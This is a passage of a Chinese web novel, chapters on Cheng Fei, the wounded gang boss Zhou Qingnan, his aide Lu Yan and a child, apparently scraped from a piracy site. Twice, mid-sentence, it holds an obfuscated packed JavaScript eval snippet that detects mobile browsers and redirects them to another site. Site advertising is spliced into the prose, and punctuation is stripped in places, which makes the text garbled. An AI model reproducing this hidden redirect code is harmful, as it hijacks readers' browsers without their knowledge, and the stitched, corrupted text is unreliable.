陆岩明显是没料到她会接着出这么一个问题,静默半秒,然后便看了眼程菲身旁的周小蝶,语调冷冰冰地问:“好吃吗?” 周小蝶:“……” 周小蝶也是服了这两个老六,强忍住内心的无语,笑眯眯地回答:“好吃呀。” 一段极其没营养的对话结束,程菲自己都被尬住了,眼风暗搓搓往自己背后方向扫了眼,只见主卫的那件黑色玻璃门依然紧闭,一点动静都没有。 程菲不禁皱了下眉。 心想:那位大佬怎么还没出来? 掉茅坑里去了?还是说失血过多昏迷了? 她被自己心里冒出来的猜测吓了一跳担心周清南出什么意外当即便又重新转眸看向在场的唯一一位男士指指自己背后试探道:“你老板刚才进了洗手间结果现在都还没出来不然你进去瞧瞧?” 陆岩闻声面上神色依旧冷漠如初却站直了身体提步朝主卧方向走过去。 程菲自觉往旁边让开半步余光无意识一扫倏地一怔。 这才看清楚刚才一直被这位刀疤狠人哥捏在手里把玩的是一把短刃匕首。牛皮复古刀柄通体做工精细锋利的刀刃在暗光下反射出森然白光。 “……”带自家老板的亲闺女出门吃饭玩什么不好非要玩一把刀?多危险也不怕吓坏小朋友。 程菲微蹙眉眼中飞快闪过一丝嫌弃。 主卧这边陆岩人已经走到房门口正准备继续往里走时只听屋里传来咔哒一声卫生间的门锁被人从里头打开了。 周清南刚洗完手 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节)正用一次性擦手巾擦着手上的水迹抬眸瞧见陆岩他脸色淡淡的随手将用完的擦手巾丢进垃圾桶漫不经心地问:“找我有事?” 陆岩摇头冷着脸回答:“没事。” 周清南:“那你进我屋。” “那个叫程菲的姑娘叫我进来找你。”陆岩语气没什么起伏“说你在洗手间待了好一阵子怕你出什么意外。” 周清南闻言眉峰很轻微抬了下余光往房门外头晃悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415792|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一圈找什么似的接着便落在一道纤细清丽的背影轮廓上。 “在自个儿家能出什么意外一惊一乍。”他语气随意地接了句眼底深处却缱出一丝自己都未曾察觉的柔和走出去。 这边程菲正低着头和周小蝶说话随后便听见背后响起熟悉的脚步声。 沉稳有力里又透着几分散漫与随性从容不迫的。 程菲转过头正好就看见周清南不紧不慢地走出卧室。她想也没想便嘟囔着问:“你怎么上个洗手间上这么久呀?” “顺便换了个药。”周清南淡声应她。 听见这话程菲的视线下意识便往下一滑看向男人的腰腹。果然血迹不见其踪之前渗血的那条白纱布已经换掉。 “你从受伤到现在,一直是自己换药,然后自己给自己包扎伤口?她难掩惊异。 周清南:“对啊。 程菲忍不住惊叹:“那你好厉害,这手法专业得跟医生护士有一拼。 今天刚来这里那会儿,她看见他腰上缠着的纱布,还以为是有专业人士给他处理过伤口。没想到,他全是自己动手? 周清南回她:“熟能生巧而已。 他回话的语气自然而懒散,简单一句“熟能生巧,轻描淡写,没有任何过多的渲染和描述,却令程菲微微心惊——如此技能,不知道要受过多少伤,闯过多少次鬼门关才能磨砺得出来。 也是直到这一分这一秒,程菲才忽然意识到一件事。 这个男人是真的走在刀尖上,随时可能化作这个世界的一粒尘埃,随风消逝,湮没进泥土…… 就在程菲愣神的当口,周清南已经随手拿起一件挂在衣帽架上的纯色黑T,套在自己身上。 腹部的伤口隐痛不止,头也昏沉酸胀,周清南眉眼间流出一丝倦态,斜倚墙壁点燃一根烟,解乏。 唇齿间烟雾缥缈,颓懒又痞气,人如画卷。 程菲看见这人受了伤还抽烟,下意识皱眉,道:“周先生,抽烟不利于伤口愈合。 “程小姐。周清南指尖夹烟,后脑勺抵着墙壁直勾勾看她,烟雾背后的薄唇细微一扯,耐人寻味,“是不是管得太多了点? 一个反问句,无形当中便划清楚河汉界。 程菲愣怔了瞬,有些迟钝地意识到什么,这才惊觉自己的某些行为确实容易诱发歧义。 她脸色微红,不知作何言语,只能极不自在地别开了视线,不去看他。 须臾。 周清南深深吸入一口尼古丁,垂眸掸烟灰,脸色冷淡,吩咐身旁的陆岩:“送程小姐回家。 陆岩愣了下,问:“现在就送程小姐回去? “不然呢。 周清南撩起眼皮,漠然瞥陆岩,“屋里正好四个人,凑一桌麻将? 陆岩:“…… 身为周清南手下最信任的头马人物,陆岩对自家老大时不时冒出来的冷笑话也差不多免疫了。 他默默点头应了声“好的,之后便转头对程菲 说:“程小姐走吧。” “我找得到回家的路不用送我。”程菲拒绝。 说完她又弯下腰摸了摸周小蝶扎着丸子头的圆脑袋柔声叮嘱道:“小蝶这几天你爸爸身体不舒服你要好好听陆岩叔叔的话知道吗?” 周小蝶乖巧地冲她点头笑容可爱:“好的姐姐。” 程菲捏了下周小蝶的小脸蛋眼神扫过不远处靠墙抽烟的高个儿男人 周小蝶听后眨了眨眼睛疑惑地歪过脑袋问她:“我不能给姐姐打电话吗?” 程菲笑笑嗓音轻柔如风:“你陆岩叔叔比姐姐厉害多啦。” 谁知话刚说完小丫头竟猝不及防地哭起来眼睛一眨吧嗒一下就掉下几颗豆大的泪珠。 周小蝶哭着问程菲:“姐姐你不让我找你是不是因为你讨厌小蝶?不喜欢小蝶了?” 程菲本来就喜欢小孩子看见这么漂亮的小朋友在自己面前掉眼泪她瞬间手足无措起来罪恶感爆棚。 “不是不是我没有不喜欢你。”程菲手忙脚乱替周小蝶擦去泪水无奈地说“你以后想跟我打电话或者想见我当然随时都可以。只是……” 周小蝶嘟嘴:“只是什么?” “没什么。”程菲不知怎么跟这小丫头解释只能笑着摇摇头。 跟小丫头道完别程菲又站起身和陆岩说了声再见。视线触及周清南时她欲言又止最终什么都没说转身头也不回地离去。 轻盈脚步声渐行渐远。 周清南抽着烟注视着那道纤细背影远去眉眼间神色难辨。下一秒他向陆岩递了个眼色。 陆岩虽疑惑倒也不多问微颔首快步跟了上去。 屋里只剩下周清南和周小蝶两个人。 片刻周清南半根烟抽完剩下的半根不想抽了随手掐灭了丢进烟灰缸随手便移步朝周小蝶走了过去神色平静如水。 周小蝶站在原地看他小手替怀里洋娃娃一下一下梳着头发挑眉展颜眼神里带着丝恶作剧得 逞似的挑衅。 周清南走到周小蝶身前,蹲下来,仪态散漫。 面无表情地看了她一秒后,他猛地伸手,五指收拢,一掐住了那截稚嫩脆弱的脖颈。 “……”窒息感铺天盖地袭来,周小蝶小小的脸庞瞬间憋得通红,肺部疼痛得几欲炸裂。 周清南锁住她咽喉,眸色冷戾入骨,杀意毕现。 “年轻人,气性别这么大。”半只脚已经踏进棺材,周小蝶脸上却依然在笑,满眼都是病态的满足和愉悦,“明明眼睛长人家身上,挪都挪不开,干嘛还要装作毫不在意?” “你再敢接近她,我一定杀了你。”周清南弯唇,阴森森地笑了,“不信可以试试。” 周小蝶扬眉,玩味地睨周清南,眼神意有所指扫过他腹部的伤:“有的人刚一回国,就送了你这么隆重一份大礼,你觉得他会放过那个女娃娃?” 周清南薄唇抿成一条线,眼底杀意更浓,没说话,五指蓦然收得更紧。 “是劫是缘,遇上了就是你的命,躲不过的。” 极度缺氧已令周小蝶意识模糊,她在濒死的绝望中哼笑出声,嘲讽戏谑,“周清南,我就是看不惯你永远对任何事都漠不关心的样子,我就是想要拖你下水,我就是要看你发疯,就是赌你——栽定了。” 作者有话要说 大佬是真的生气了,所以助攻蝶姐后面很长一段时间都没戏份咯。 这文我个人觉得没什么虐点,看过《寒鸦》原版的宝免疫力应该是非常高的吧【狗头】这篇比起来真的甜哭了好吗【一脸正气】 随机100红包包!! 第 26 章 加好友 第26章加好友 程菲人刚走到玄关大门口,便听见背后传来一阵脚步声,沉稳有力,稍显得有些急促,似乎脚步声的主人正在追赶什么。 她狐疑地回了下头,见身后跟过来的青年身形高大容颜冷肃,眉峰处被一道陈年刀疤横劈而过,居然是凶悍刀疤哥陆岩。 出于礼貌,程菲很随意地问了句:“陆先生也要出门呀?” “嗯。”陆岩冷着脸朝她点点头。 程菲闻言,笑着哦了声,也没再多问,和陆岩一起前后走出玄关大门,来到光厅的露台上等电梯。 并排而站,两相无言。 陆岩长了副天生的扑克脸,性格也寡言少语冷漠疏离,除了在面对他亲爱的老板时能主动发起对话聊几句以外,其余时候可以说是生人勿近。 那脸那气场,再加上眉峰那条疤,评一句阎王爷座下的“勾魂使者”,毫不夸张。 陆岩活了三十几年,冷场是他生命中的必修课,人照旧镇定自若得很。 但旁边的程菲就遭殃了,她天生有点儿社交尴尬症,最怕冷场,察觉到此刻自己和狠人刀疤哥之间的气氛僵硬,她大脑中负责情绪处理的“杏仁核”顿时被激活,发出滴滴报警声,催促着她迅速寻找话题破除窘境。 硬着头皮僵滞了几秒钟后,程菲终于绷不住,打破了和陆岩的僵局。 程菲一副居委会大妈在小区门口闲聊的语气:“陆先生这是要去哪儿呀?” “暂时还不知道。”陆岩冒出这么句,面无表情。 “……”程菲被陆岩这个回答给惊到了,面露迷茫,“你自己出门,不知道自己要去哪儿?” 陆岩扭头看她一眼,漠然地说:“不是我自己要出门,是我老板让我出来的。” 程菲更茫然了:“你老板让你出来干什么?” “跟着你。”陆岩说。 程菲:“……?” 陆岩又接着道:“所以我的去向不出意外的话,应该和程小姐你完全同步。你下一步准备去哪儿,我就去哪儿。” “……”真是服了。扯这一大堆,你就直接说你老板派你来跟踪我不就行了? 程菲被自己的口水呛了个结结实实 ,深深地汗颜了。须臾,她看着陆岩,匪夷所思之中又夹杂着一丝由衷的好奇,问他:“你们黒社会现在这么猖獗吗?跟踪人都这么明目张胆?” 还真是有什么样的老板就有什么样的下属,这位刀疤哥的奇葩程度真是和他老板有一拼,大大方方告诉她本人“我要跟踪你”,演都不带演一下的? 一旁,陆岩的反应依旧十分淡漠,回程菲道:“总之这都是我老板的意思,我也是奉命办事,希望程小姐配合。” 程菲:“……” 真是绝了,打从认识了周清南,她遇到的离谱事就接踵而至,一件比一件扯。 沉默了差不多十秒钟后,听见“叮”一声,电梯来了。 陆岩先走进去,完了站在门口抬眸一瞧,见外头的姑娘人木登登地愣在原地,不禁蹙眉,伸手摁住开门键,说:“走啊。” 程菲心想:反正自己现在是回家,周清南也早就把她的单位地址和家庭住址摸得一清二楚,她也不怕再暴露什么,刀疤哥想跟就跟吧,无所谓。 如是思索着,她便不再有顾虑,坦然摆烂,跟陆岩一起乘电梯下楼。 “你准备去哪儿?”陆岩手停在电梯的数字按键上,问了句。 程菲默默回道:“回家。” 陆岩闻声没再说什么,径自摁亮“B2”车库层。 程菲见状微蹙眉,知道这位大哥是来跟踪自己的以后,她说话的语气明显不如之前友好,凶巴巴地说:“我没车,准备坐地铁回家。” “我老板有啊。”陆岩回答。 程菲微怔,脑门上升起一个问号。 陆岩很冷酷地说:“反正也要跟踪你,我开我老板的车送你回去。” 程菲:“……” 陆岩不可一世地瞥她一眼,更加冷酷地说:“我坐驾驶室,你坐副驾驶室,你就在我眼皮底下,一切举动都逃不过我的眼睛。” 程菲:“…………” 果然是新社会,新气象,黒帮青年跟踪人的方式也变得坦率和谐,并充满了人性化。 程菲彻底沉默,忽然觉得,这位凶猛霸气的刀疤小哥还有点可爱。 之后,程菲便被陆岩领上了周清南的那辆黑色越野,驱车往平谷区回。 路上程菲闲得无聊 ,看眼身边正在开车的陆岩,突发奇想,冷不丁地出声问他:“陆先生,你和你老板关系应该挺好的吧?” 陆岩那张冰山脸向来没什么多余表情。他开着车车,眼睛直视着前窗外的车况路况,很随意地回她,“还可以。” 程菲眨了眨眼,又状似颇不经意地问:“你老板今年多大年纪?” 陆岩想了想,回答:“三十岁。”答完,他稍稍停顿了下,拧眉摇头,自言自语似的更正,“不对,南哥是国历2月的生日,已经满三十一了。” 三十一? 那就是比她大四岁…… 程菲低眸,心里下意识计算起着她和周清南的年龄差。停顿两秒,略迟疑,又继续向旁边的陆岩打听:“那他都三十一了,为什么还没交女朋友?” 陆岩像是觉得这个问题有点奇怪,侧目看程菲一眼,说:“你怎么知道我老板没有女朋友?” “他都伤成那样了,真有女朋友,怎么可能不来照顾他,让他一个人孤零零地躺家里发低烧。”程菲自然而然就接了句。 陆岩听得若有所思,片刻,点头表示认同,“说得对。我老板那么帅,真有女朋友,看他受伤肯定心疼死,一步不离守旁边。” 经过这数分钟的简单相处,程菲发现这位狠人刀疤哥貌似并不像他外表看上去的那么凶恶,相反,他还有点反差感的呆萌。 她也没那么怕陆岩了,静默几秒,又将声量压低几分,往驾驶室那头凑近了点儿,继续道:“我其实知道你们干你们这行的不好谈对象,我就是有点好奇,圈外人不好找,内部也不好消化吗?就你老板那长相那身材,不应该啊。就没点儿社会女大佬什么的追过他?” “当然有。”陆岩神情淡漠,回答,“追我老板的人太多了。” 程菲一下来了兴趣,两只大眼睛噌噌放光,燃起八卦的小火苗,“那怎么都没成?” “我哪知道,可能他眼光挑剔吧。” 陆岩配合着程菲一问一答。忽然意识到有些不对劲,转过脑袋瞧她,眼神里透着古怪和探究,说:“程小姐,怎么你对我老板的私事这么关心?” 程菲窘迫,为掩饰尴尬,赶紧清了清嗓子,冲陆岩干巴巴一笑,“闲着没事儿和你随便聊两句,不算关心。不算。” 跳过关于周清南的话题,程菲又开始问起周小蝶小朋友近日的情况。 她认真询问:“对了,小蝶最近怎么样?刚和她爸爸住到一起,生活得还习惯吗?” 听程菲提起周小蝶,陆岩眼底闪过一丝极不明显的厌恶,随口回了句:“挺好的。” “平时周清南那么忙,就是你在帮忙给他带娃吗?” “差不多吧。” 程菲听后琢磨两秒,建议道:“你们两个都是大男人,带一个小女生总归不太方便,我觉得,后面你们可以帮小蝶请一个女性育儿师,六岁之前是一个孩子性格的黄金塑造期,千万不能大意。” 陆岩听得敷衍,漫不经意地回:“程小姐的建议我会转达给我老板。” “嗯。”程菲点头,朝陆岩投去鼓励的目光,“再坚持坚持。等到九月份幼儿园开学,把小蝶送去学校,你们两个都会轻松一些。” “是啊。” 就这样,程菲和陆岩一路上东拉西扯地聊着,数分钟后顺利抵达程家所在的刚子楼小区。 “我到了。”程菲解开系在肩膀和腰上的安全带,“你靠边停车把我放下来就好。” 陆岩依言照做。 程菲抬手推开车门,一条腿已经迈出去,正要起身时又想起什么,动作顿住。迟疑两秒后,她飞快从背包里取出手机,接着便会转身去看陆岩。 “欸。”程菲一副神神秘秘的表情,唤道,“陆先生。” 陆岩越听这文绉绉的称呼越觉得别扭,微蹙眉,有点不耐烦地打断她:“我就是个粗人,麻烦程小姐直接喊我大名。” “哦陆岩。”程菲飞快改口,接着又换上副试探的口吻,道,“之前听你老板说,你平时喜欢看言情小网文?” “……” 不是。 老板有病啊!怎么什么都跟她说? 他他妈一个江湖上赫赫有名威震八方残忍无情的超绝冷酷大杀神,不要面子的? 陆岩眉心不可控制地抖了抖。 他冷脸寒眼看着身旁的年轻姑娘,静默了整整两秒钟,才冷冰冰地说:“那又怎么样。” “虽然你今天是来跟踪我,动机争议很大,不过你也确实让我蹭了一把豪车,我心里还是很感激。”程菲说话的 同时,摁亮了手机屏幕,冲陆岩挑了下眉毛,低声说,“喏,都在这儿了。” 陆岩眼神里流露出一丝疑惑,不知道这小姑娘葫芦里在卖什么药。 陆岩:“什么?” “近五年网络各类经典言情文汇总。”程菲笑眯眯地说,“你放心,这些我全部都是在正版网站花钱买的,然后自己全文下载打包制作,全网独一份,从未外传。” 陆岩更不解了:“你跟我说这个干什么?” “你不是好这口吗。”程菲十分的善解人意,“来,咱俩加个微信,我把这些小说发给你,你拿回去慢慢看。就当报答你对我的蹭车之恩。” 陆岩:“……不用了。” “不用?”程菲诧异,对他苦口婆心地劝说,“我花钱买的著作,免费跟你共享,你又没任何损失,何乐不为?” “……”她说得好有道理,他竟无言以对。 陆岩默然几秒钟,最终还是掏出手机扫一扫,和程菲加了微信。 不多时,经典网文资料包发送完成,交易成功结束。 程菲下了车,走出几步后又想起什么,折返回来,趴在副驾驶席那一侧的车窗户上叮嘱陆岩,道:“这东西别乱传啊,作者码字不易,务必支持正版。” 陆岩随意一摆手,“知道,谢了。” “不客气。” * 半个小时后,陆岩有点儿饿了,驱车回到尹华道附近后,他先去711便利店买了两份便当快餐,然后才回去给自家老板汇报情况。 进了玄关门,看见屋子里乌漆墨黑一片,周清南灯也不开,就痞里痞气地坐在沙发上抽烟。 旁边的烟灰缸里,烟头已经堆成半座小山。 “老板。”陆岩打了声招呼,随手将买回来的便当放餐桌上,拆开包装袋,取出一盒往周清南跟前一搁,另一盒自己吃。 见陆岩人回来,周清南眼帘微垂,食指在烟身上轻掸两下,抖落烟灰,罩在暗光中的侧颜英俊而冷冽,漫不经心地说:“没遇上什么麻烦吧。” “没有。”陆岩打开便当盒的盖子,单手端碗,另一只手拿筷子往嘴里扒拉进一大口,边吃边说,“她直接回的家,没去其他地方。” 周清南有点儿乏,微阖眸,夹烟的手轻 轻捏了下眉心淡声:“最近不太平我身上带着伤行动不便平谷区那边你多留意别出什么意外。” 陆岩埋头吃着饭听见周清南这番话他动作稍顿后知后觉回过味来猛一下抬起眼诧异:“老板原来你今天让我跟着那个叫程菲的姑娘是要我保护她的安全不是想知道她的行踪?” 周清南撩起眼皮看陆岩一眼眸色不善“你说呢。” 陆岩被生生噎了下嘀咕:“好吧。我还以为……” 周清南:“以为什么?” 以为你看上人家了。 当然这话陆岩只敢在心里想想就是给陆岩十颗熊心豹子胆他也没勇气直接说给他亲爱的老板听。 因而陆岩只是答了句“没什么”随后就点亮手机屏继续看他的下饭言情文。 偌大的客厅安静了大约五秒钟。 接着周清南又冷不防开口脸色淡漠地问陆岩:“回去的路上你们都说了些什么。” 陆岩有点惊讶抬眼看周清南:“你怎么知道程小姐跟我聊天了?” “就她那性格嘴皮子闲不住。”周清南慢悠悠抽了口烟调子散漫中透着一丝轻嘲眼神柔和“让她一路上不跟你说话她能难受到发疯。” “确实聊了。”陆岩说“而且程小姐基本上都是在问老板你的事。” 周清南闻声眸光细微一动脸上却不见丝毫异样随口问:“问我什么。” 陆岩没有丝毫隐瞒直言道:“就问你多大年龄有没有女朋友之类的。” “成天乱七八糟瞎打听。” 周清南低声说了句数落的用词口吻中却没有责备的意味。他没有再多追问陆岩和那姑娘的对话内容掐了烟头站起身准备回卧室休息。 没走几步背后传来陆岩的声音说:“对了南哥。” 周清南身形顿住轻微侧了侧头“还有事?” “程菲刚才和我加了个微信好友。”陆岩很自然地说着顺手将手机屏上的页面内容展示给周清南“要不要我把她的推给你?” 周清南伸手接过陆岩的手机垂眸看向手机屏幕。 显示界面上是一则微信名片 小说的域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节)昵称叫“美少女壮士小程同学”头像是一 个日本动漫主角的二创形象,怀里抱盆金元宝,两只眼睛闪金光。 点进“美少女壮士小程同学的朋友圈,背景墙就是几行手写体文字,字迹娟秀微圆,和当初那条写给周小蝶的小纸条如出一辙: 我的五官最美丽,我的想法最牛逼。我爱钱钱爱我,财神天天来我家,钞票一抓一大把。远离内耗生活,成就暴富明天。 看起来精神状态相当美好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415793|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周清南:“…… 周清南移开视线,把手机扔回给陆岩,没什么表情地问:“她为什么和你加微信好友。 “为了给我发资源,说是报答蹭车之恩。陆岩说。 周清南无言,一句话没说,转身就走。 陆岩有时候真怀疑自己脑子不够用,跟了这位大佬好些年,至今猜不透自家老大的心思。他稀里糊涂的,不知道周清南这说走就走的行为是在表达什么,不禁在背后喊:“南哥,那这我到底用不用推给你? “不用。周清南头也不回地撂下两个字。 进了卧室,他随手一勾甩上门,径直走进洗手间。 整个空间黑漆漆的,寂静沉暗,漫无边际,窗户外面洒入的几缕月色,成为这片窒息黑暗中的唯一光源。 周清南双手撑在洗脸台上,眼帘掀高,直勾勾看向镜子里的自己。 事情正在朝失控的方向发展。 那个姑娘的出现,在全盘计划之外。 周清南试图让一切回归到正常轨道,却总是出现各种意外,频频让他心乱方寸,事与愿违。 也许,真的是天意。 * 在去尹华道的路上,程菲就给蒋兰发了个消息,说公司领导临时留她加班,她回家吃晚饭的计划有变,让爸妈不用等她。 但尽管如此,等程菲走进家门时,依旧闻到了一股熟悉的饭菜香味。 是她最爱吃的糖醋里脊。 “爸妈,我回来了。 程菲弯腰换好鞋,进屋瞧见餐桌上摆着的几样家常小菜,顿时皱起眉,说:“我不是跟你们说了我要加班,让你们别等我,自己先吃的吗? “我和你爸中午在外面吃的,吃多了,本来就不饿。 ,“等到现在差不多才刚有胃口,正合适。 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 程菲洗了个手,然后进厨房盛饭,边舀米饭边随口问,“是吗。你们俩怎么忽然跑去下馆子? “我们和你槐叔顾姨一起去的。程国礼正拿着把菜刀剁蒜泥,调制清汤排骨的蘸碟,脸上带着笑意,“老邻居这么长日子没聚过,正好见个面叙叙旧。 忙活完,一家三口在饭桌旁落座。 程菲肚子饿得咕咕叫,夹起一块里脊肉放嘴里,腮帮鼓鼓地嚼。蒋兰见她吃相可爱,忍俊不禁,又给她舀了两块排骨过去,柔声说,“慢点吃,又没人跟你抢。 片刻,蒋兰吃了几口青菜后想起什么,对程菲道,“对了闺女,这周六我和你小姨要一起去趟萧山,你要不要跟我们一块儿去? 程菲狐疑地抬起脑袋,问她母上,“去萧山干什么? “给你求个平安符啊。蒋兰说,“萧山太公顶的平安符灵验得很,求一个戴身上,百邪不侵顺顺当当。你最近运气一般般,正好帮你转运。 平安符。 百邪不侵顺顺当当…… 听着妈妈的话,程菲刨着米饭怔怔出神,不知想到了什么,半天没有回话。 蒋兰等了几秒钟,不见程菲吱声,不禁蹙眉,抬手在闺女眼前晃悠两下,“菲菲,妈妈问你话呢,想什么呢这么入迷? “……哦。程菲一刹回神,笑笑,答应道,“好啊妈,我跟你们一起去。 蒋兰喜笑颜开:“就是,大周末的窝家里干什么,出去在青山绿水之间散散心,多好。 * 吃完饭洗完澡,程菲在客厅里陪爸妈看了会儿电视,之后就回到房间,往床上一躺,开始酝酿睡意。 裹着被子翻过来,想起她妈妈说的“平安符灵验,百邪不侵顺顺当当。 蹬开被子覆过去,又想起今晚见到的周清南,俊脸苍白病容憔悴,缠过腰腹部的白纱布隐隐渗出血迹…… 就这样来来回回翻了半个钟头后,程菲终于从床上弹坐而起,一咬牙一跺脚,下定某种决心般,拿起了放在枕头下面的手机。 打开微信APP,输入手机号查找好友,开始搜索。 家里网速很给力,下一瞬,一个名片便弹出来。 昵称很简单,只是四个很简单的字母:Zhou。 头像是一张不知在哪儿拍的夜景图,浩瀚夜空,点点星河。给人的观感幽远沉静,又有种难以言说的孤独。 “……心跳变得有点快,掌心变得有点热,两边脸颊也变得有点红。 程菲咬咬唇瓣,迟疑几秒钟后,挪动纤细的指尖,点了点界面下方的那个“添加至通讯录。 请求发送成功,没有验证申请。 “…… 程菲无意识地做了个深呼吸,然后,屏息凝神地等待。 一秒钟过去,两秒钟过去…… 第四十二秒钟的时候,系统提示:您和Zhou已成为好友,现在就开始聊天吧! 验证通过了! 程菲捏着手机,掌心愈发湿热,胸腔内的心脏噗通噗通,律动更快,连带着她的呼吸都有点不顺畅。 好友添加成功,然后呢? 程菲微蹙眉,忽然又纠结起来。 刚才她想到周清南那份“高危职业,觉得他们这一行动不动就打打杀杀动刀动枪,显然也很需要平安符,脑子一热就给他发了微信好友申请。 这会儿清醒过来,才发现这行为实在二逼——几个钟头前,她还义正言辞地跟周清南说,自己几次三番上门找他都是因为受人之托,一转眼,马上就主动把他的微信好友给加上了。 这不是自相矛盾吗? 所以,事关自己的颜面问题,成为好友的第一条开场白要怎么发,程菲认为相当重要。 最好是友善而不失高冷,高冷里再加那么点嘲讽,既能将自己的位置摆高,又能打压一下那位大佬牛逼哄哄的嚣张气焰。 她眯了眯眼睛,陷入了一番沉思。 * 城市另一端,尹华道。 “美少女壮士小程同学发来好友申请时,周清南刚睡完一觉被渴醒,正半靠在床头,拿杯子喝水。 瞧见那个抱着金元宝的美少女头像,屏幕冷光映照下,周清南轻轻挑了下眉,同意申请。 本想看看那姑娘加他好友又要搞什么幺蛾子的,可一连等了三分钟,对面毫无动静。 杯子里的水喝完了,周清南还是渴。 骨头缝里浸出来的渴。 他放下手机,起身去客厅接了杯纯净水,又回来。 刚喝进一大口,听见叮一声,沉寂半天的美少女壮士终于发来了第一条消息。 周清南脸色冷淡,垂眸。 美少女壮士小程同学:【回来想了半天,还是决定好心提醒一下,周先生您今天裤子拉链好像没有拉耶。】 周清南:“…… 作者有话要说 大佬:老婆天天主动勾引,我的快乐谁懂啊 —— 下章第二位强力助攻上线,我再次重申本文一切设定源于《寒鸦》,所以男女主之间的感情变化也可以参照《寒鸦》,随机100个红包包~ 第 27 章 乱入。 第27章乱入。 看见这条微信消息,周清南单手捏着玻璃杯,微蹙眉,下意识往自己腰腹以下瞄了眼。 拉链没拉? 他身上穿的就一条拳击短裤,松紧腰,哪来的什么拉链。 正纳闷儿着,手里的手机再次发出“叮”一声响,提示收到了新消息。 美少女壮士小程同学:周先生检查好了吗? 周清南饶有兴味地挑了下眉,顺手将玻璃杯放下,坐下来,回复对面:【我今天穿的裤子没拉链。】 城市另一端,平谷区程家。 程菲看着夜空星河头像发来的这行文字,眼睛眨巴两下,脑补出那位大佬低头认真检查自己裤子找拉链的画面,终于破功,噗嗤一声笑出来。 笑完,程菲眉眼弯弯地打字回过去:【好吧,那可能是我记错了,不好意思。】 周清南:【程小姐加我微信就只为了说这个?】 程菲:【也不是。】 手机这边的程菲斟词酌句,思考两秒钟,然后才格外谨慎地回复:【想到你最近又要养伤又要照顾女儿,怕你忙不过来,我偶尔有空可以帮帮你。】 程菲想了想,又补充:【毕竟你之前帮过我好几次,礼尚往来我也应该给你搭把手。】 周清南:【好意心领】 周清南:【我的事就不麻烦程小姐了。】 一番好意被婉拒,程菲琢磨了会儿,回他:【你也不能光靠陆岩一个人照看闺女,人家也有自己的生活,一天24个钟头全耗在你和你闺女身上,太累了。】 周清南:【谢谢程小姐的提醒。】 周清南:【陆岩在我这儿拿的年薪并不算低,我花钱请人做事,怎么定工作内容貌似是我的自由。】 看着手机屏里刷出来的这段回复,程菲微窘,边想着“行吧行吧,花钱的是大爷,你个做老大的爱怎么折腾你家小老弟是你的事,我一外人确实也管不着”,边在对话框里输入回复内容。 正哐哐哐敲着字,还没编辑完,对面那位大佬的下一条内容又刷了出来。 周清南:【程小姐如果真的关心陆岩,我建议你少给他发点言情小说资料包。】 程菲:“… …” 程菲汗颜,被自己的口水给呛住——她前脚刚给陆岩共享了正版网文资料包,后脚他居然就把这事儿跟他家大佬说了?之前怎么没看出来那位狠人刀疤哥的嘴巴这么大…… 程菲无语了足足三秒钟,才打字回复对面的周清南。 她理直气壮的:【我跟陆岩先生共享资料包,是为了报答他送我回家。】 周清南:【他少熬几个夜,休息时间就能补回来。】 “……”看着眼前这行文字,程菲隔着手机屏都能想象出周清南脸上凉凉又欠扁的表情,不禁抬手捏眉心,啼笑皆非又气呼呼地打字回他。 【我发资料包给你家陆岩,纯粹一片好心,我哪能控制他是睡觉的时候看还是吃饭的时候看?你这行为跟自家孩子学习成绩差就跑去举报游戏开发商的智障家长有什么区别?!】 哐哐哐一顿输出,打完读一遍,觉得用语太激烈了点,又默默删掉。 受了伤的狮子依然是狮子,半死不活的大佬依然是大佬,她这样喷周清南,着实是有点寿星公上吊嫌命长的意思。 程菲虽然很不爽,但也并没有完全被怒气冲昏头脑。她低眸做了个深呼吸,静默两秒,给周清南发了二十个【微笑】过去,让对面自行体会。 对面的大佬停顿了约莫半秒钟,又回她:【还有没有其他事】 周清南:【我要睡了。】 “……”难怪都说漂亮的男人是毒药,容易让人头脑发昏。跟这位大爷胡七八糟鬼扯了一大堆,差点忘记她加他微信好友的真正目的! 程菲齿尖轻轻咬住唇瓣,略迟疑,暗暗吸入一口气又吐出来,终于将那个问题敲了出来。 程菲:【那个】 程菲:【你想不想要一个平安符?】 消息发送过去,对面好几秒都不见回应。 程菲心跳噗通噗通的,身体发热,捏住手机的指也不自觉收紧几分。等了一会儿,嗖一下,新的文字信息终于从对话框底部冒出来。 周清南问她:【什么平安符。】 程菲:【我这个周末要去一趟萧山太公顶,我妈说太公顶的平安符很灵验,驱邪避害保平安的。你这儿不是受伤了吗……】 城市另一端。 周清南在黑暗中看着 手机,轻微抬了下眉峰,眼中眸色沉沉,情绪不明。 片刻,他靠坐在床头打字回她:【谢了。我用不上。】 屏幕另一端的小程同学却还像是不死心,又回复他:【反正我也要去给自己求,顺便就能帮你带一个。】 美少女壮士小程同学:【虽然你们这行拜的都是关二爷,不过平安符这种东西,往身上一戴就完事儿,既不添病又不添灾,就当是个心理安慰也不错吧!】 夜色沉寂。 周清南垂着眸,视线安静落在和女孩的聊天界面上,透过这些文字,似乎已经能想象出她说这些话的神态和表情。 眉眼会弯成两道月牙,眼底晕开浅笑,表情真诚里又透出一丝可爱的倔强,楚楚灵动。 